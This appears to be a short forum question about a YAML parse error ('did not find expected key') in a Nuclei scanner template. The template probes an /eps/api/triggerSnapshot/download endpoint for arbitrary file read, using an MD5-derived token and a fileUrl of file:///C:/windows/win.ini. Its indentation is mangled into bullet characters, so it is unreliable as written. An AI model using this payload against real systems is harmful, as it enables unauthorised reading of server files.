why "did not find expected key"

[YanXi9999]

id: template-id
info:
name: Template Name
author: Douliyoutang
severity: info
description: description
reference:
- https://
tags: tags

variables:
a1: "{{RootURL}}/eps/api/triggerSnapshot/download"
a2: "{{to_upper("{{md5(a1)}}")}}"

http:

• raw:
  • |+
    GET /eps/api/triggerSnapshot/download?token={{a2}}&fileUrl=file:///C:/windows/win.ini&fileName=1 HTTP/1.1
    Host: {{Hostname}}
    Accept: /
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    matchers:
  • type: status
    status:
    • 200

why "yaml: line 12: did not find expected key" ?